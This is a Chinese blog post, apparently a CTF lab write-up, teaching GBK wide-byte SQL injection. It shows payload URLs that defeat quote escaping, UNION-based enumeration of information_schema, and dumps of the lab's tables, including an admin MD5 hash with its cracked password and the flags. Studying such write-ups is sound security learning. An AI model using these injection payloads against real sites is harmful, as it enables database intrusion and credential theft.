1. 程式人生 > >(學習)SQL注入--寬位元組注入

(學習)SQL注入--寬位元組注入

SQL注入–寬位元組注入

實踐:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1

頁面顯示:

顯然執行的查詢語句是:

select id,title from news where id = '1'

其中id就是傳入的引數

首先嚐試了單引號

?id=1%27

發現頁面輸出

顯然引號被轉義了,在前面加了一個 \ 符號

嘗試 如果構造 \ \ 那麼後面的引號也就可以發揮作用了

想到了 寬位元組注入 嘗試

?id=1%df%23

發現報錯了,說明還是存在注入的嘛

接著嘗試

?id=1%df%df%23

發現,查詢又恢復正常了,因為%df%df 雙位元組構成了一個漢字,而%df%23又不成漢字

檢測到這裡,發現應該是可以寬位元組注入了,那麼就開始吧

?id=1%a1%27

發現轉義已經被寬位元組合併了,那麼後面我們就可以幹正事了!

?id=-1%a1%27%20union%20select%201,2%20from%20news%23

可以看出構造了id=-1的假條件從而去執行後面的select語句,發現頁面中的2已經可以成為注入點

先測試一下注入點好用不!

?id=-1%a1%27%20union%20select%201,version()%20from%20news%23

?id=-1%a1%27%20union%20select%201,database()%20from%20news%23

?id=-1%a1%27%20union%20select%201,user()%20from%20news%23

發現,別的沒做啥過濾,那麼就從系統自帶資料庫入手,看看能不能查出來別的資料庫

?id=-1%a1%27%20union%20select%201,SCHEMA_NAME%20from%20information_schema.SCHEMATA%20limit%200,1%23
#得到第一個庫名
#主要語句:SCHEMA_NAME from information_schema.SCHEMATA limit 0,1#

嘗試limit 0,2 想得到第二個庫名,發現好像只有一個 information_schema 資料庫,奇怪的很。

不管這麼多,剛才用database()返回了當前的資料庫 sae-chinalover ,就從這個資料庫入手,查所有表!!

?id=-1%a1%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
# 主要語句:group_concat(table_name) from information_schema.tables where table_schema=database()#

發現有五個表:ctf、ctf1、ctf2、ctf3、ctf4、news

著手第一個ctf表

?id=-1%a1%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x637466%23
#這邊英文引號被轉義了,所以本來的table_name='ctf'不能使用了
#這邊使用了把'ctf'轉成了16進位制 -> 0x637466   
#當然也可以使用CHAR()10進位制來表示 CHAR(99,116,102)
?id=-1%a1%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=CHAR(99,116,102)%23

發現ctf表中,有user,pw 欄位

同樣的方法進行

最後得到

表:

ctf:    user,pw
ctf1:   空表
ctf2:   id,content
ctf3:   id,email,token
ctf4:   id,flag
news:   id,title

最後啥都知道了,查詢出來看看唄

#針對ctf表,
?id=-1%a1%27%20union%20select%201,group_concat(user,pw)%20from%20ctf%23

# ctf表
user:admin
pw:21dd715a3605b2a4053e80387116c190
#md5破解可得 
pw:njupt

同理,別的表進行查詢 ctf2 表

# ctf2表
id:1020
content:no msg in 1020
id:1021
content:no msg in 1021 too
id:1022
content:no msg in 1022
id:1023
content:no msg in 1023~~~
id:1024
content:the flag is:nctf{query_in_mysql}
id:1025
content:no more

ctf3 表

id:1
email:[email protected]
token:0

ctf4 表

id:1
flag:nctf{gbk_3sqli}

news 表

id:1
title:Hello World!OVO
id:2
title:gbk_sql_injection
id:3
title:the fourth table

至此,所有注入已經完成,同時發現了兩個flag

nctf{query_in_mysql}
nctf{gbk_3sqli}